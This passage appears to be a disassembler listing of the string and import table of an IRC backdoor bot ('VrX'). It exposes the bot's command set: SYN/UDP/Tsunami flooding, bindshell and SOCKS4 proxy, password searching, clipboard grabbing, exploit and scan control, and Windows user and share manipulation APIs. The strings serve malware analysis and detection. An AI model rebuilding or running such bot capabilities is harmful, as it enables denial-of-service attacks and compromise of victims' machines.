sub_40BD7C+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C23C db 2Dh ; - ; DATA XREF: sub_401AC7+1FBFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C25C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403A70o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C294 db 2Dh ; - ; DATA XREF: sub_401AC7+1F5Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 10h unk_42C2D0 db 2Dh ; - ; DATA XREF: sub_401AC7+1EEBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401AC7+1EC0o ; sub_401AC7+5B6Ao align 4 aRandom db 'Random',0 ; DATA XREF: sub_401AC7+1EB9o ; sub_401AC7+5B63o align 10h dword_42C350 dd 234032Dh, 3025A56h ; DATA XREF: sub_401AC7+1CFFo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C38C db 2Dh ; - ; DATA XREF: sub_401AC7+1CA2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C8 db 2Dh ; - ; DATA XREF: sub_401AC7+1C10o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401AC7+1BE2o align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401AC7+1BD1o align 10h aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1BBBo aPhonehome db 'phonehome',0 ; DATA XREF: sub_401AC7+1BA4o align 10h off_42C440 dd offset word_587A56 ; DATA XREF: sub_401AC7+1B8Fo aAsn445 db 'asn445',0 ; DATA XREF: sub_401AC7+1B7Ao align 4 unk_42C44C db 3 ; DATA XREF: sub_401AC7+1B2Ao a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401AC7+1B14o ; sub_401AC7+1B64o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_401AC7+1AFFo align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401AC7+1AEAo align 4 aHttp db 'http',0 ; DATA XREF: sub_401AC7+1AD5o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401AC7+1AC0o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401AC7+1AABo align 10h aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401AC7+1A96o align 10h aCip db 'cip',0 ; DATA XREF: sub_401AC7+1A81o aCurrentip db 'currentip',0 ; DATA XREF: sub_401AC7+1A6Co align 10h aFdns db 'fdns',0 ; DATA XREF: sub_401AC7+1A57o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401AC7+1A42o align 4 aFarp db 'farp',0 ; DATA XREF: sub_401AC7+1A2Do align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401AC7+1A18o align 4 aGc db 'gc',0 ; DATA XREF: sub_401AC7+1A03o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401AC7+19EEo unk_42C4F4 db 2Dh ; - ; DATA XREF: sub_401AC7+19B0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401AC7+1995o ; sub_401AC7+3C85o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401AC7+1981o align 4 unk_42C528 db 3 ; DATA XREF: sub_401AC7+1961o a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401AC7+192Co align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401AC7:loc_4033E6o dword_42C558 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401AC7+18F5o dword_42C56C dd 6F6877h ; DATA XREF: sub_401AC7+18D8o dword_42C570 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+18CDo dword_42C57C dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401AC7+18C8o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401AC7+18AFo aOcmd db 'ocmd',0 ; DATA XREF: sub_401AC7+189Ao align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401AC7+1885o aDll db 'dll',0 ; DATA XREF: sub_401AC7+1870o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401AC7+185Bo align 4 aDrv db 'drv',0 ; DATA XREF: sub_401AC7+1846o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401AC7+1831o align 4 aUp db 'up',0 ; DATA XREF: sub_401AC7+181Co align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401AC7+1807o align 10h aPs db 'ps',0 ; DATA XREF: sub_401AC7+17F2o align 4 aProcs db 'procs',0 ; DATA XREF: sub_401AC7+17DDo align 4 aKosomak db 'KOSOMAK',0 ; DATA XREF: sub_401AC7+17C8o aKosomakyad db 'KOSOMAKYAD',0 ; DATA XREF: sub_401AC7+17B3o align 10h aSi db 'si',0 ; DATA XREF: sub_401AC7+179Eo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401AC7+1789o aNi db 'ni',0 ; DATA XREF: sub_401AC7+1774o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401AC7+175Fo aClg db 'clg',0 ; DATA XREF: sub_401AC7+174Ao aClearlog db 'clearlog',0 ; DATA XREF: sub_401AC7+1735o align 4 aLg db 'lg',0 ; DATA XREF: sub_401AC7+1720o align 4 aLog db 'log',0 ; DATA XREF: sub_401AC7+170Bo aAl db 'al',0 ; DATA XREF: sub_401AC7+16F6o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401AC7+16E1o aT: ; DATA XREF: sub_401AC7+16CCo ; ___:00438324o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401AC7+16B7o unk_42C638 db 3 ; DATA XREF: sub_401AC7+1683o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C65C db 3 ; DATA XREF: sub_401AC7+167Co a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401AC7+1665o aI: ; DATA XREF: sub_401AC7+1650o ; ___:004382F8o unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401AC7+163Bo align 4 aS_0: ; DATA XREF: sub_401AC7+1626o ; ___:00438374o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401AC7+1611o align 4 aQ: ; DATA XREF: sub_401AC7+15FCo ; ___:off_437F90o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401AC7+15E7o align 10h aDc db 'dc',0 ; DATA XREF: sub_401AC7+15D2o align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401AC7+15BDo align 10h aR: ; DATA XREF: sub_401AC7+15A8o ; sub_401AC7+3D92o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401AC7+1593o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401AC7+157Eo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401AC7+1569o aCbstats db 'cbstats',0 ; DATA XREF: sub_401AC7+1554o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401AC7+153Fo align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401AC7+152Ao aTransferstats db 'transferstats',0 ; DATA XREF: sub_401AC7+1515o align 4 aStats db 'stats',0 ; DATA XREF: sub_401AC7+1500o align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401AC7+14EBo align 4 dword_42C71C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401AC7+14E0o aScan_0 db 'Scan',0 ; DATA XREF: sub_401AC7+14DBo align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401AC7+14C2o align 4 dword_42C73C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401AC7+14B7o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401AC7+14B2o align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401AC7+1499o align 10h dword_42C760 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401AC7+148Eo aClone db 'Clone',0 ; DATA XREF: sub_401AC7+1489o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401AC7+1470o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401AC7+145Bo align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401AC7+1446o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401AC7+1431o align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401AC7+141Co align 10h dword_42C7B0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401AC7+1411o aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401AC7+13F3o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401AC7+13CAo align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401AC7+13A1o aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401AC7+1378o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401AC7+134Fo unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401AC7+1335o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C82C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401AC7+12FAo ; sub_401AC7+1396o dword_42C83C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401AC7+12F5o ; sub_401AC7+1391o dword_42C84C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401AC7+12DCo ; sub_401AC7+136Do dword_42C85C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+12D7o ; sub_401AC7+1368o dword_42C86C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401AC7+127Co ; sub_401AC7+13E8o dword_42C878 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1277o ; sub_401AC7+13E3o dword_42C884 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+125Eo ; sub_401AC7+13BFo dword_42C890 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+1259o ; sub_401AC7+13BAo aPacketstop db 'packetstop',0 ; DATA XREF: sub_401AC7+11F9o align 4 dword_42C8A8 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401AC7+11EEo ; sub_401AC7+12BBo dword_42C8B4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+11E9o ; sub_401AC7+12B6o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401AC7+11D0o align 4 dword_42C8CC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401AC7+11C5o ; sub_401AC7+129Do dword_42C8DC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+11C0o ; sub_401AC7+1298o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401AC7+11A7o align 4 dword_42C8F8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401AC7+119Co ; sub_401AC7+131Bo dword_42C908 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+1197o ; sub_401AC7+1316o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401AC7+117Eo align 4 dword_42C924 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+1173o ; sub_401AC7+123Do dword_42C930 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+116Eo ; sub_401AC7+1238o aSynstop db 'synstop',0 ; DATA XREF: sub_401AC7+1155o dword_42C944 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401AC7+114Ao ; sub_401AC7+121Fo dword_42C950 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1145o ; sub_401AC7+121Ao dword_42C95C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+112Co dword_42C968 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401AC7+1121o dword_42C978 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401AC7+111Co aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401AC7+1103o align 4 dword_42C998 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+10F8o dword_42C9A4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401AC7+10F3o aLogstop db 'logstop',0 ; DATA XREF: sub_401AC7+10DAo dword_42C9B8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401AC7+10CFo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401AC7+10B1o align 4 dword_42C9D4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401AC7+10A6o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401AC7+1088o align 10h dword_42C9F0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401AC7+107Do aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401AC7+105Fo align 4 aS4 db 's4',0 ; DATA XREF: sub_401AC7+104Ao align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401AC7+1035o align 4 dword_42CA18 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401AC7+102Ao aServer_0 db 'Server',0 ; DATA XREF: sub_401AC7+1025o ; sub_401AC7+1078o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401AC7+100Co align 4 aBd db 'bd',0 ; DATA XREF: sub_401AC7+FF7o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401AC7+FE2o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401AC7+FCDo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401AC7+FB8o align 4 aSec db 'sec',0 ; DATA XREF: sub_401AC7+FA3o ; sub_401AC7+2D36o aSecure db 'secure',0 ; DATA XREF: sub_401AC7+F8Eo ; sub_401AC7+2D25o align 4 aSt db 'st',0 ; DATA XREF: sub_401AC7+F79o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401AC7+F64o align 4 aRz db 'rz',0 ; DATA XREF: sub_401AC7+F4Fo align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401AC7+F3Ao align 10h aVer db 'ver',0 ; DATA XREF: sub_401AC7+F25o aVersion db 'version',0 ; DATA XREF: sub_401AC7+F10o aLo db 'lo',0 ; DATA XREF: sub_401AC7+EFBo align 10h aLogout db 'logout',0 ; DATA XREF: sub_401AC7+EE6o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401AC7+EBCo ; sub_401AC7+ED1o aRn db 'rn',0 ; DATA XREF: sub_401AC7+EA7o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401AC7+E8Fo a63 db '63',0 ; DATA XREF: sub_401AC7+D5Co align 4 asc_42CABC: ; DATA XREF: sub_401AC7+D34o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401AC7+CF7o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401AC7+CECo aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401AC7+CDBo align 4 aChan db '$chan',0 ; DATA XREF: sub_401AC7+CBFo align 4 aUser_1 db '$user',0 ; DATA XREF: sub_401AC7+CAEo align 4 aMe db '$me',0 ; DATA XREF: sub_401AC7+C9Co aD db '$%d',0 ; DATA XREF: sub_401AC7+C2Eo aD_0 db '$%d-',0 ; DATA XREF: sub_401AC7+B6Ao align 4 aC: ; DATA XREF: sub_401AC7+A7Eo ; sub_401AC7+4AEFo unicode 0, <c>,0 unk_42CB00 db 2Dh ; - ; DATA XREF: sub_401AC7+A58o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB34 db 2Dh ; - ; DATA XREF: sub_401AC7+A47o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB64 db 2Dh ; - ; DATA XREF: sub_401AC7+A36o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42CB9C db 2Dh ; - ; DATA XREF: sub_401AC7+9C7o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401AC7+933o align 4 unk_42CBC4 db 2Dh ; - ; DATA XREF: sub_401AC7+919o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CC08 db 2Dh ; - ; DATA XREF: sub_401AC7+8FBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC44 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401AC7+8EAo dd 0A0Dh dword_42CC5C dd 4E495001h, 47h ; DATA XREF: sub_401AC7+8B6o dword_42CC64 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401AC7+8ABo dd 0D017325h, 0Ah dword_42CC80 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401AC7+87Ao dword_42CC8C dd 23h ; DATA XREF: sub_401AC7+7F1o ; sub_40CD2A+1Bo unk_42CC90 db 2Dh ; - ; DATA XREF: sub_401AC7+760o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h aS_1 db '%s',0 ; DATA XREF: sub_401AC7+6E7o ; sub_401AC7+970o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401AC7+6C0o align 4 dword_42CCCC dd 43434401h, 0 ; DATA XREF: sub_401AC7+6A2o dword_42CCD4 dd 323333h ; DATA XREF: sub_401AC7+62Co ; sub_401AC7+AB4o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401AC7+60Ao ; sub_409862+Fo align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401AC7+5FEo ; sub_409862+16o unk_42CCE8 db 3 ; DATA XREF: sub_401AC7+5ADo a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CD08 db 3 ; DATA XREF: sub_401AC7+58Do a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401AC7+55Co aQuit db 'QUIT',0 ; DATA XREF: sub_401AC7+51Fo align 4 aPart db 'PART',0 ; DATA XREF: sub_401AC7+50Eo ; sub_401AC7+5CAo align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401AC7+4E9o align 4 aNick db 'NICK',0 ; DATA XREF: sub_401AC7+3CBo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo ; sub_401AC7+5EEo unk_42CD5C db 3 ; DATA XREF: sub_401AC7+355o ; sub_401AC7+2E89o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_401AC7+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+28Do ; sub_401AC7+7A99o ... align 10h a433 db '433',0 ; DATA XREF: sub_401AC7+265o ; sub_417B1E:loc_417B95o a@: ; DATA XREF: sub_401AC7+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401AC7+22Ao a005 db '005',0 ; DATA XREF: sub_401AC7+215o a001 db '001',0 ; DATA XREF: sub_401AC7+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o ; sub_401AC7+3B8o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401AC7+1A9o ; sub_417B1E+50o align 4 asc_42CDC8: ; DATA XREF: sub_401AC7+19Ao ; sub_401AC7+7BA2o unicode 0, <!>,0 asc_42CDCC: ; DATA XREF: sub_401AC7+A8o ; sub_401AC7+E34o ... unicode 0, < >,0 asc_42CDD0 db ' :',0 ; DATA XREF: sub_401AC7+86o ; sub_401AC7:loc_4025D3o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409862+58o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4098FD+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4098FD+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4098FD:loc_40A567o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4098FD+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4098FD+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4098FD+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4098FD+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4098FD+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4098FD+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4098FD:loc_40A4C9o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4098FD+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4098FD+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4098FD:loc_40A47Fo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4098FD+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4098FD+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4098FD+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4098FD+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4098FD:loc_40A40Bo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4098FD+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4098FD+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A3C1o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4098FD+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4098FD+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A377o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4098FD+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4098FD+9ECo ; sub_418AA2+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4098FD+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4098FD+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4098FD+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4098FD+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4098FD+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4098FD+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4098FD+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4098FD+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4098FD+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4098FD+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4098FD:loc_40A25Bo ; sub_418AA2+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4098FD+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4098FD+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4098FD+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4098FD:loc_40A1FCo align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4098FD+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4098FD+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4098FD+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4098FD+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4098FD+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4098FD+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4098FD+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4098FD+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4098FD+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4098FD+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4098FD+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4098FD:loc_40A0DCo aClosesocket db 'closesocket',0 ; DATA XREF: sub_4098FD+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4098FD+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4098FD+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4098FD+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4098FD+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4098FD+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4098FD+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_4098FD+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_4098FD+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_4098FD+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_4098FD+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4098FD+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_4098FD+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4098FD+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4098FD+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4098FD+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4098FD+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_4098FD+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4098FD+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4098FD+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4098FD+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4098FD+588o aSocket db 'socket',0 ; DATA XREF: sub_4098FD+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4098FD+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4098FD+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4098FD+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4098FD+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4098FD+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4098FD+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4098FD+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: 